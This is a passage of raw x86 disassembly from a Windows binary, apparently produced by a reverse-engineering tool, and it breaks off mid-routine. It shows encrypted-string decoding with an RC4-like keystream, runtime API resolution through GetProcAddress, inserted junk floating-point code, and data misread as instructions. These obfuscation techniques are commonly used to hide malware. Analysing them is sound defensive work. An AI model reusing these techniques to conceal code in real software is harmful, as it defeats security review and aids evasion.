lea ecx, [ebp - 0x1e18]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x32d9]
shl ecx, 0
lea esi, [ebp - 0x1e18]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x3333]
shl ecx, 0
lea esi, [ebp - 0x1e18]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x1e18]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x1e18]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x3296], al
mov al, byte [ebp - 0x3334]
mov byte [ebp - 0x32d9], al
mov cl, byte [ebp - 0x3296]
mov byte [ebp - 0x345b], cl
cmp dword [ebp - 0x33cc], 0
jbe 0x4966ca
mov edx, dword [ebp - 0x33cc]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x10]
mov cl, byte [ebp - 0x345b]
mov byte [edx + eax], cl
jmp 0x495d81
mov edx, dword [ebp - 0x3754]
add edx, 1
mov dword [ebp - 0x3754], edx
mov eax, dword [ebp - 0x33cc]
add eax, 1
mov dword [ebp - 0x33cc], eax
mov ecx, dword [ebp - 0x3754]
add ecx, 1
mov dword [ebp - 0x3754], ecx
mov edx, dword [ebp - 0x33cc]
shl edx, 1
mov dword [ebp - 0x3e48], edx
mov eax, dword [ebp - 0x3e48]
shl eax, 0
add eax, dword [ebp - 0x3f70]
movzx ecx, byte [eax]
mov dword [ebp - 0x3ce4], ecx
mov dword [ebp - 0x3ce8], 0xbd
mov edx, dword [ebp - 0x33cc]
shl edx, 1
add edx, 1
mov dword [ebp - 0x3e4c], edx
mov eax, dword [ebp - 0x3e4c]
shl eax, 0
add eax, dword [ebp - 0x3f70]
movzx ecx, byte [eax]
mov dword [ebp - 0x3cec], ecx
mov dword [ebp - 0x3b78], 0xa7
mov edx, dword [ebp - 0x3ce4]
sub edx, dword [ebp - 0x3ce8]
mov dword [ebp - 0x3b7c], edx
mov eax, dword [ebp - 0x3cec]
sub eax, dword [ebp - 0x3b78]
mov dword [ebp - 0x3b80], eax
mov ecx, dword [ebp - 0x3b7c]
shl ecx, 4
mov dword [ebp - 0x3e50], ecx
mov edx, dword [ebp - 0x3b80]
mov dword [ebp - 0x3e54], edx
mov eax, dword [ebp - 0x3e50]
or eax, dword [ebp - 0x3e54]
mov dword [ebp - 0x3e58], eax
mov cl, byte [ebp - 0x3e58]
mov byte [ebp - 0x3334], cl
movzx edx, byte [ebp - 0x32d9]
shl edx, 0
lea eax, [ebp - 0x1e18]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3330], cl
movss xmm0, dword [0x9d5810]
movss dword [ebp - 0x468c], xmm0
movss xmm0, dword [0x9d56f8]
movss dword [ebp - 0x426c], xmm0
movss xmm0, dword [0x9d548c]
movss dword [ebp - 0x4ac0], xmm0
movss xmm0, dword [0x9d51f8]
movss dword [ebp - 0x4ac4], xmm0
movss xmm0, dword [ebp - 0x426c]
subss xmm0, dword [ebp - 0x4ac4]
movss dword [ebp - 0x426c], xmm0
movss xmm0, dword [ebp - 0x4ac0]
addss xmm0, dword [ebp - 0x4ac4]
movss dword [ebp - 0x4ac0], xmm0
movss xmm0, dword [ebp - 0x426c]
subss xmm0, dword [ebp - 0x4ac4]
movss dword [ebp - 0x426c], xmm0
movss xmm0, dword [ebp - 0x468c]
addss xmm0, dword [ebp - 0x4ac4]
movss dword [ebp - 0x468c], xmm0
movss xmm0, dword [ebp - 0x426c]
comiss xmm0, dword [ebp - 0x468c]
jbe 0x4968eb
movss xmm0, dword [ebp - 0x426c]
subss xmm0, dword [ebp - 0x4ac0]
movss dword [ebp - 0x426c], xmm0
movss xmm0, dword [ebp - 0x468c]
mulss xmm0, dword [ebp - 0x426c]
movss dword [ebp - 0x468c], xmm0
movss xmm0, dword [ebp - 0x468c]
divss xmm0, dword [ebp - 0x426c]
movss dword [ebp - 0x468c], xmm0
movss xmm0, dword [ebp - 0x4ac0]
subss xmm0, dword [ebp - 0x4ac4]
movss dword [ebp - 0x4ac0], xmm0
jmp 0x49697c
movss xmm0, dword [ebp - 0x468c]
mulss xmm0, dword [ebp - 0x4ac0]
movss dword [ebp - 0x468c], xmm0
movzx edx, byte [ebp - 0x325a]
shl edx, 0
lea eax, [ebp - 0x1e18]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3295]
add edx, ecx
mov byte [ebp - 0x3295], dl
mov al, byte [ebp - 0x325a]
add al, 1
mov byte [ebp - 0x325a], al
movss xmm0, dword [ebp - 0x426c]
subss xmm0, dword [ebp - 0x4ac4]
movss dword [ebp - 0x426c], xmm0
movss xmm0, dword [ebp - 0x4ac4]
subss xmm0, dword [ebp - 0x426c]
movss dword [ebp - 0x4ac4], xmm0
movss xmm0, dword [ebp - 0x4ac0]
mulss xmm0, dword [ebp - 0x468c]
movss dword [ebp - 0x4ac0], xmm0
movzx ecx, byte [ebp - 0x3295]
shl ecx, 0
lea edx, [ebp - 0x1e18]
movzx eax, byte [ebp - 0x32d9]
shl eax, 0
lea esi, [ebp - 0x1e18]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3296]
shl edx, 0
lea eax, [ebp - 0x1e18]
movzx ecx, byte [ebp - 0x3295]
shl ecx, 0
lea esi, [ebp - 0x1e18]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x325a]
shl eax, 0
lea ecx, [ebp - 0x1e18]
movzx edx, byte [ebp - 0x3296]
shl edx, 0
lea esi, [ebp - 0x1e18]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x325a]
shl ecx, 0
lea edx, [ebp - 0x1e18]
mov al, byte [ebp - 0x3330]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x3330]
shl ecx, 0
lea edx, [ebp - 0x1e18]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3333]
add ecx, eax
mov byte [ebp - 0x3333], cl
movzx edx, byte [ebp - 0x3334]
movzx eax, byte [ebp - 0x3295]
shl eax, 0
lea ecx, [ebp - 0x1e18]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x325a]
shl ecx, 0
lea esi, [ebp - 0x1e18]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x1e18]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x3296]
shl ecx, 0
lea eax, [ebp - 0x1e18]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x32d9]
shl eax, 0
lea esi, [ebp - 0x1e18]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x3333]
shl eax, 0
lea esi, [ebp - 0x1e18]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x1e18]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x1e18]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x3296], dl
mov dl, byte [ebp - 0x3334]
mov byte [ebp - 0x32d9], dl
mov al, byte [ebp - 0x3296]
mov byte [ebp - 0x345b], al
cmp dword [ebp - 0x33cc], 0
jbe 0x496b10
mov ecx, dword [ebp - 0x33cc]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x10]
mov al, byte [ebp - 0x345b]
mov byte [ecx + edx], al
mov ecx, 1
shl ecx, 3
mov dword [ebp - 0x5d80], ecx
cmp dword [ebp - 0x5d80], 9
jae 0x496b29
jmp 0x496b2e
call fcn.009b1617
lea edx, [ebp - 0x10]
add edx, dword [ebp - 0x5d80]
mov byte [edx], 0
jmp 0x496b8a
mov dword [ebp - 0x33cc], 0
jmp 0x496b57
mov eax, dword [ebp - 0x33cc]
add eax, 1
mov dword [ebp - 0x33cc], eax
cmp dword [ebp - 0x33cc], 9
jae 0x496b8a
mov ecx, dword [ebp - 0x33cc]
mov dword [ebp - 0x5d7c], ecx
cmp dword [ebp - 0x5d7c], 9
jae 0x496b77
jmp 0x496b7c
call fcn.009b1617
lea edx, [ebp - 0x10]
add edx, dword [ebp - 0x5d7c]
mov byte [edx], 0
jmp 0x496b48
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x348c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0xa00c44], eax
xorps xmm0, xmm0
movsd qword [ebp - 0x53d4], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x516c], xmm0
mov dword [ebp - 0x336c], 0
mov dword [ebp - 0x4abc], 0
mov dword [ebp - 0x5868], 0
mov dword [ebp - 0x55fc], 1
mov dword [ebp - 0x4690], 0
mov dword [ebp - 0x5b40], 0
mov dword [ebp - 0x352c], 0
mov dword [ebp - 0x38f0], 0
mov dword [ebp - 0x3810], 0
mov dword [ebp - 0x3814], 0
mov dword [ebp - 0x38f4], 0
mov dword [ebp - 0x3818], 0
mov dword [ebp - 0x381c], 0
mov dword [ebp - 0x3820], 0
mov dword [ebp - 0x3824], 0
mov dword [ebp - 0x38f8], 0
mov dword [ebp - 0x38fc], 0
mov dword [ebp - 0x3900], 0
mov dword [ebp - 0x4ab8], 0
mov byte [ebp - 0x3233], 0
mov byte [ebp - 0x324e], 0
mov byte [ebp - 0x32dd], 0
mov byte [ebp - 0x324d], 0
mov byte [ebp - 0x327b], 0
mov byte [ebp - 0x340d], 0
mov byte [ebp - 0x3da0], 0
mov byte [ebp - 0x32de], 0
mov byte [ebp - 0x32dc], 0
mov byte [ebp - 0x339e], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x53d4], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x516c], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x516c], xmm0
jmp 0x496cf5
movsd xmm0, qword [ebp - 0x516c]
addsd xmm0, qword [0x9d3058]
movsd qword [ebp - 0x516c], xmm0
movsd xmm0, qword [0x9d4f20]
comisd xmm0, xmmword [ebp - 0x516c]
jbe 0x496da6
movsd xmm0, qword [0x9d3d38]
mulsd xmm0, qword [ebp - 0x516c]
mulsd xmm0, qword [ebp - 0x516c]
movsd xmm1, qword [ebp - 0x516c]
mulsd xmm1, qword [ebp - 0x516c]
subsd xmm0, xmm1
movsd xmm1, qword [0x9d3a60]
mulsd xmm1, qword [ebp - 0x516c]
mulsd xmm1, qword [ebp - 0x516c]
addsd xmm1, qword [0x9d3b10]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x53d4]
movsd qword [ebp - 0x53d4], xmm0
movsd xmm0, qword [ebp - 0x53d4]
comisd xmm0, xmmword [0x9d3c18]
jbe 0x496da1
movsd xmm0, qword [0x9d3838]
mulsd xmm0, qword [ebp - 0x516c]
movsd xmm1, qword [ebp - 0x53d4]
subsd xmm1, xmm0
movsd qword [ebp - 0x53d4], xmm1
jmp 0x496cdd
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x53d4]
jbe 0x496e08
jle 0x496df4
sub dword [edi + 0x76], esi
popal
push esp
push 0x66
push ebp
pop ecx
jns 0x496e1d
jo 0x496e00
jne 0x496e14
sub byte [0x29235a4c], bh
outsd dx, dword [si]
jo 0x496e24
inc esi
sub al, 0x65
sahf
add eax, 0xf9f029a
xchg edx, eax
or bl, byte [esi - 0x68f26af5]
or bl, byte [ebp - 0x67f365f6]
or byte [eax - 0x66f464f3], dl
add dl, byte [edx - 0x6ff965fb]
adc byte [ebx + eax + 0x109b0c9d], dl
xchg edi, eax
add ebx, dword [ebp - 0x68ef64f4]
push es
lahf
push cs
xchg ebx, eax
add eax, 0x494089f
jmp 0x499404
or byte [esp + eax + 0x25fce9], dl
add bh, al
test dword [esi + ebx*4 + 0x6dd3ffff], ebx
dec ecx
add bh, al
test dword [eax - 0x4c000062], esp
mov dword [ebp - 0x6164], 0x496dd3
mov dword [ebp - 0x6160], 0x496db3
mov edx, dword [ebp - 0x6164]
mov dword [ebp - 0x39dc], edx
mov eax, dword [ebp - 0x6160]
mov dword [ebp - 0x615c], eax
mov byte [ebp - 0x3da0], 0x24
mov dword [ebp - 0x336c], 0
mov dword [ebp - 0x4abc], 0
mov dword [ebp - 0x336c], 0
jmp 0x496e6a
mov al, byte [0xb3ffff9e]
insd dword es:[edi], dx
dec ecx
add byte [ebx - 0x61636b], cl
dec dword [ecx - 0x39db6b]
dec dword [ebx - 0x615f7b]
dec dword [ecx - 0x615b7b]
inc esi
test dword [eax - 0x3e], esp
invalid
xchg ebp, eax
pushfd
sahf
invalid
and al, 0xc6
invalid
mov ecx, dword [ebp - 0x336c]
add ecx, 1
mov dword [ebp - 0x336c], ecx
cmp dword [ebp - 0x336c], 0x100
jae 0x496e90
mov edx, dword [ebp - 0x336c]
shl edx, 0
lea eax, [ebp - 0xd30]
mov cl, byte [ebp - 0x336c]
mov byte [edx + eax], cl
jmp 0x496e5b
mov dword [ebp - 0x4abc], 0
mov byte [ebp - 0x340d], 0
mov dword [ebp - 0x336c], 0xff
jmp 0x496ebc
mov edx, dword [ebp - 0x336c]
sub edx, 1
mov dword [ebp - 0x336c], edx
cmp dword [ebp - 0x336c], 0
jbe 0x497182
mov dword [ebp - 0x5868], 0
mov dword [ebp - 0x55fc], 1
mov dword [ebp - 0x4690], 0
mov eax, dword [ebp - 0x55fc]
cmp eax, dword [ebp - 0x336c]
jae 0x496f08
mov ecx, dword [ebp - 0x55fc]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x55fc], ecx
jmp 0x496ee7
mov edx, dword [ebp - 0x4abc]
mov dword [ebp - 0x5d78], edx
cmp dword [ebp - 0x5d78], 3
ja case.default.0x496f27
mov eax, dword [ebp - 0x5d78]
jmp dword [eax*4 + 0x4de8ac]
movzx ecx, byte [ebp - 0x340d]
shl ecx, 0
lea edx, [ebp - 0xd30]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x53d4]
call fcn.009b1700
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x340d], bl
jmp 0x49702e
movzx eax, byte [ebp - 0x340d]
shl eax, 0
lea ecx, [ebp - 0xd30]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x53d4]
call fcn.009b1700
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x340d], bl
jmp 0x49702e
movzx edx, byte [ebp - 0x340d]
shl edx, 0
lea eax, [ebp - 0xd30]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x53d4]
call fcn.009b1700
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x340d], bl
jmp 0x49702e
movzx ecx, byte [ebp - 0x340d]
shl ecx, 0
lea edx, [ebp - 0xd30]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x53d4]
call fcn.009b1700
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x340d], bl
jmp 0x49702e
movzx eax, byte [ebp - 0x340d]
shl eax, 0
lea ecx, [ebp - 0xd30]
movzx edx, byte [eax + ecx]
mov eax, dword [ebp - 0x4abc]
sub eax, 4
shl eax, 0
add eax, dword [ebp - 0x615c]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x340d], dl
mov edx, dword [ebp - 0x4abc]
add edx, 1
mov dword [ebp - 0x4abc], edx
movzx eax, byte [ebp - 0x3da0]
cmp dword [ebp - 0x4abc], eax
jb 0x49706c
mov dword [ebp - 0x4abc], 0
movzx ecx, byte [ebp - 0x3da0]
movzx edx, byte [ebp - 0x340d]
add edx, ecx
mov byte [ebp - 0x340d], dl
movzx eax, byte [ebp - 0x340d]
and eax, dword [ebp - 0x55fc]
mov dword [ebp - 0x4690], eax
mov ecx, dword [ebp - 0x5868]
add ecx, 1
mov dword [ebp - 0x5868], ecx
cmp dword [ebp - 0x5868], 0xb
jbe 0x4970ab
mov eax, dword [ebp - 0x4690]
xor edx, edx
div dword [ebp - 0x336c]
mov dword [ebp - 0x4690], edx
mov edx, dword [ebp - 0x4690]
cmp edx, dword [ebp - 0x336c]
ja 0x496f08
mov eax, dword [ebp - 0x336c]
cmp eax, dword [ebp - 0x4690]
je 0x49717d
mov ecx, dword [ebp - 0x336c]
shl ecx, 0
lea edx, [ebp - 0xd30]
mov eax, dword [ebp - 0x4690]
shl eax, 0
lea esi, [ebp - 0xd30]
movzx eax, byte [eax + esi]
movzx ecx, byte [ecx + edx]
xor ecx, eax
mov edx, dword [ebp - 0x336c]
shl edx, 0
lea eax, [ebp - 0xd30]
mov byte [edx + eax], cl
mov ecx, dword [ebp - 0x4690]
shl ecx, 0
lea edx, [ebp - 0xd30]
mov eax, dword [ebp - 0x336c]
shl eax, 0
lea esi, [ebp - 0xd30]
movzx eax, byte [eax + esi]
movzx ecx, byte [ecx + edx]
xor ecx, eax
mov edx, dword [ebp - 0x4690]
shl edx, 0
lea eax, [ebp - 0xd30]
mov byte [edx + eax], cl
mov ecx, dword [ebp - 0x336c]
shl ecx, 0
lea edx, [ebp - 0xd30]
mov eax, dword [ebp - 0x4690]
shl eax, 0
lea esi, [ebp - 0xd30]
movzx eax, byte [eax + esi]
movzx ecx, byte [ecx + edx]
xor ecx, eax
mov edx, dword [ebp - 0x336c]
shl edx, 0
lea eax, [ebp - 0xd30]
mov byte [edx + eax], cl
jmp 0x496ead
mov ecx, 1
shl ecx, 0
lea edx, [ebp - 0xd30]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3233], al
mov ecx, 1
imul edx, ecx, 3
lea eax, [ebp - 0xd30]
mov cl, byte [edx + eax]
mov byte [ebp - 0x324e], cl
mov edx, 1
imul eax, edx, 5
lea ecx, [ebp - 0xd30]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x32dd], dl
mov eax, 1
imul ecx, eax, 7
lea edx, [ebp - 0xd30]
mov al, byte [ecx + edx]
mov byte [ebp - 0x324d], al
movzx ecx, byte [ebp - 0x340d]
shl ecx, 0
lea edx, [ebp - 0xd30]
mov al, byte [ecx + edx]
mov byte [ebp - 0x327b], al
mov dword [ebp - 0x5b40], 0x30
cmp dword [ebp - 0x5b40], 2
jle 0x4993b3
mov ecx, dword [ebp - 0x5b40]
and ecx, 1
jne 0x4993b3
mov dword [ebp - 0x336c], 0
mov dword [ebp - 0x352c], 0
mov edx, dword [ebp - 0x352c]
add edx, 1
mov dword [ebp - 0x352c], edx
mov dword [ebp - 0x38f0], 0
mov eax, dword [ebp - 0x336c]
shl eax, 1
mov dword [ebp - 0x38f0], eax
mov dword [ebp - 0x3810], 0
mov ecx, dword [ebp - 0x38f0]
shl ecx, 0
add ecx, dword [ebp - 0x39dc]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x3810]
mov dword [ebp - 0x3810], edx
mov dword [ebp - 0x3814], 0
mov eax, dword [ebp - 0x3814]
add eax, 0x90
mov dword [ebp - 0x3814], eax
mov dword [ebp - 0x38f4], 0
mov ecx, dword [ebp - 0x336c]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x38f4], ecx
mov dword [ebp - 0x3818], 0
mov edx, dword [ebp - 0x38f4]
shl edx, 0
add edx, dword [ebp - 0x39dc]
movzx eax, byte [edx]
add eax, dword [ebp - 0x3818]
mov dword [ebp - 0x3818], eax
mov dword [ebp - 0x381c], 0
mov ecx, dword [ebp - 0x381c]
add ecx, 2
mov dword [ebp - 0x381c], ecx
mov dword [ebp - 0x3820], 0
mov edx, dword [ebp - 0x3810]
sub edx, dword [ebp - 0x3814]
add edx, dword [ebp - 0x3820]
mov dword [ebp - 0x3820], edx
mov dword [ebp - 0x3824], 0
mov eax, dword [ebp - 0x3818]
sub eax, dword [ebp - 0x381c]
add eax, dword [ebp - 0x3824]
mov dword [ebp - 0x3824], eax
mov dword [ebp - 0x38f8], 0
mov ecx, dword [ebp - 0x3820]
shl ecx, 4
mov dword [ebp - 0x38f8], ecx
mov dword [ebp - 0x38fc], 0
mov edx, dword [ebp - 0x3824]
mov dword [ebp - 0x38fc], edx
mov dword [ebp - 0x3900], 0
mov eax, dword [ebp - 0x38f8]
or eax, dword [ebp - 0x38fc]
mov dword [ebp - 0x3900], eax
mov byte [ebp - 0x32de], 0
movsd xmm0, qword [0x9d4c78]
movsd qword [ebp - 0x53dc], xmm0
movsd xmm0, qword [0x9d4a10]
movsd qword [ebp - 0x5a70], xmm0
movsd xmm0, qword [0x9d46d8]
movsd qword [ebp - 0x5f2c], xmm0
movsd xmm0, qword [0x9d4388]
movsd qword [ebp - 0x5174], xmm0
movsd xmm0, qword [0x9d4040]
movsd qword [ebp - 0x517c], xmm0
movsd xmm0, qword [ebp - 0x53dc]
mulsd xmm0, qword [ebp - 0x517c]
movsd qword [ebp - 0x53dc], xmm0
movsd xmm0, qword [ebp - 0x5174]
subsd xmm0, qword [ebp - 0x517c]
movsd qword [ebp - 0x5174], xmm0
movsd xmm0, qword [ebp - 0x5174]
addsd xmm0, qword [ebp - 0x517c]
movsd qword [ebp - 0x5174], xmm0
movsd xmm0, qword [ebp - 0x5174]
mulsd xmm0, qword [ebp - 0x517c]
movsd qword [ebp - 0x5174], xmm0
movsd xmm0, qword [ebp - 0x5a70]
mulsd xmm0, qword [ebp - 0x517c]
movsd qword [ebp - 0x5a70], xmm0
movsd xmm0, qword [ebp - 0x517c]
comisd xmm0, xmmword [ebp - 0x53dc]
jbe 0x4974e4
movsd xmm0, qword [ebp - 0x5f2c]
divsd xmm0, qword [ebp - 0x5174]
movsd qword [ebp - 0x5f2c], xmm0
movsd xmm0, qword [ebp - 0x5f2c]
subsd xmm0, qword [ebp - 0x5174]
movsd qword [ebp - 0x5f2c], xmm0
movsd xmm0, qword [ebp - 0x5174]
divsd xmm0, qword [ebp - 0x517c]
movsd qword [ebp - 0x5174], xmm0
movsd xmm0, qword [ebp - 0x5174]
mulsd xmm0, qword [ebp - 0x517c]
movsd qword [ebp - 0x5174], xmm0
movsd xmm0, qword [ebp - 0x53dc]
subsd xmm0, qword [ebp - 0x5a70]
movsd qword [ebp - 0x53dc], xmm0
jmp 0x497568
movsd xmm0, qword [ebp - 0x53dc]
subsd xmm0, qword [ebp - 0x5a70]
movsd qword [ebp - 0x53dc], xmm0
movsd xmm0, qword [ebp - 0x5a70]
addsd xmm0, qword [ebp - 0x5f2c]
movsd qword [ebp - 0x5a70], xmm0
mov cl, byte [ebp - 0x3900]
mov byte [ebp - 0x32de], cl
movsd xmm0, qword [ebp - 0x517c]
mulsd xmm0, qword [ebp - 0x53dc]
movsd qword [ebp - 0x517c], xmm0
movsd xmm0, qword [ebp - 0x517c]
addsd xmm0, qword [ebp - 0x53dc]
movsd qword [ebp - 0x517c], xmm0
movsd xmm0, qword [ebp - 0x53dc]
mulsd xmm0, qword [ebp - 0x5a70]
movsd qword [ebp - 0x53dc], xmm0
mov byte [ebp - 0x32dc], 0
movzx edx, byte [ebp - 0x327b]
shl edx, 0
lea eax, [ebp - 0xd30]
mov cl, byte [edx + eax]
mov byte [ebp - 0x32dc], cl
movzx edx, byte [ebp - 0x3233]
shl edx, 0
lea eax, [ebp - 0xd30]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x324e]
add edx, ecx
mov byte [ebp - 0x324e], dl
mov al, byte [ebp - 0x3233]
add al, 1
mov byte [ebp - 0x3233], al
movzx ecx, byte [ebp - 0x324e]
shl ecx, 0
lea edx, [ebp - 0xd30]
movzx eax, byte [ebp - 0x327b]
shl eax, 0
lea esi, [ebp - 0xd30]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x324d]
shl edx, 0
lea eax, [ebp - 0xd30]
movzx ecx, byte [ebp - 0x324e]
shl ecx, 0
lea esi, [ebp - 0xd30]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3233]
shl eax, 0
lea ecx, [ebp - 0xd30]
movzx edx, byte [ebp - 0x324d]
shl edx, 0
lea esi, [ebp - 0xd30]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3233]
shl ecx, 0
lea edx, [ebp - 0xd30]
mov al, byte [ebp - 0x32dc]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x32dc]
shl ecx, 0
lea edx, [ebp - 0xd30]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x32dd]
add ecx, eax
mov byte [ebp - 0x32dd], cl
movzx edx, byte [ebp - 0x32de]
movzx eax, byte [ebp - 0x324e]
shl eax, 0
lea ecx, [ebp - 0xd30]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x3233]
shl ecx, 0
lea esi, [ebp - 0xd30]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0xd30]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x324d]
shl ecx, 0
lea eax, [ebp - 0xd30]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x327b]
shl eax, 0
lea esi, [ebp - 0xd30]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x32dd]
shl eax, 0
lea esi, [ebp - 0xd30]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0xd30]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0xd30]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x324d], dl
mov dl, byte [ebp - 0x32de]
mov byte [ebp - 0x327b], dl
mov al, byte [ebp - 0x324d]
mov byte [ebp - 0x339e], al
cmp dword [ebp - 0x336c], 0
jbe 0x497750
mov ecx, dword [ebp - 0x336c]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x28a8]
mov al, byte [ebp - 0x339e]
mov byte [ecx + edx], al
mov ecx, dword [ebp - 0x352c]
add ecx, 8
mov dword [ebp - 0x352c], ecx
mov edx, dword [ebp - 0x336c]
add edx, 1
mov dword [ebp - 0x4ab8], edx
jmp 0x49777f
mov eax, dword [ebp - 0x4ab8]
add eax, 1
mov dword [ebp - 0x4ab8], eax
mov ecx, dword [ebp - 0x4ab8]
cmp ecx, dword [ebp - 0x352c]
jge 0x497a48
mov edx, dword [ebp - 0x336c]
add edx, 1
mov dword [ebp - 0x336c], edx
mov eax, dword [ebp - 0x336c]
shl eax, 1
mov dword [ebp - 0x38f0], eax
mov ecx, dword [ebp - 0x38f0]
shl ecx, 0
add ecx, dword [ebp - 0x39dc]
movzx edx, byte [ecx]
mov dword [ebp - 0x3810], edx
mov dword [ebp - 0x3814], 0x90
mov eax, dword [ebp - 0x336c]
shl eax, 1
add eax, 1
mov dword [ebp - 0x38f4], eax
mov ecx, dword [ebp - 0x38f4]
shl ecx, 0
add ecx, dword [ebp - 0x39dc]
movzx edx, byte [ecx]
mov dword [ebp - 0x3818], edx
mov dword [ebp - 0x381c], 2
mov eax, dword [ebp - 0x3810]
sub eax, dword [ebp - 0x3814]
mov dword [ebp - 0x3820], eax
mov ecx, dword [ebp - 0x3818]
sub ecx, dword [ebp - 0x381c]
mov dword [ebp - 0x3824], ecx
mov edx, dword [ebp - 0x3820]
shl edx, 4
mov dword [ebp - 0x38f8], edx
mov eax, dword [ebp - 0x3824]
mov dword [ebp - 0x38fc], eax
mov ecx, dword [ebp - 0x38f8]
or ecx, dword [ebp - 0x38fc]
mov dword [ebp - 0x3900], ecx
mov dl, byte [ebp - 0x3900]
mov byte [ebp - 0x32de], dl
movzx eax, byte [ebp - 0x327b]
shl eax, 0
lea ecx, [ebp - 0xd30]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x32dc], dl
movzx eax, byte [ebp - 0x3233]
shl eax, 0
lea ecx, [ebp - 0xd30]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x324e]
add eax, edx
mov byte [ebp - 0x324e], al
mov cl, byte [ebp - 0x3233]
add cl, 1
mov byte [ebp - 0x3233], cl
movzx edx, byte [ebp - 0x324e]
shl edx, 0
lea eax, [ebp - 0xd30]
movzx ecx, byte [ebp - 0x327b]
shl ecx, 0
lea esi, [ebp - 0xd30]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x324d]
shl eax, 0
lea ecx, [ebp - 0xd30]
movzx edx, byte [ebp - 0x324e]
shl edx, 0
lea esi, [ebp - 0xd30]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3233]
shl ecx, 0
lea edx, [ebp - 0xd30]
movzx eax, byte [ebp - 0x324d]
shl eax, 0
lea esi, [ebp - 0xd30]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3233]
shl edx, 0
lea eax, [ebp - 0xd30]
mov cl, byte [ebp - 0x32dc]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x32dc]
shl edx, 0
lea eax, [ebp - 0xd30]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x32dd]
add edx, ecx
mov byte [ebp - 0x32dd], dl
movzx eax, byte [ebp - 0x32de]
movzx ecx, byte [ebp - 0x324e]
shl ecx, 0
lea edx, [ebp - 0xd30]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x3233]
shl edx, 0
lea esi, [ebp - 0xd30]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0xd30]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x324d]
shl edx, 0
lea ecx, [ebp - 0xd30]
movzx edx, byte [edx + ecx]
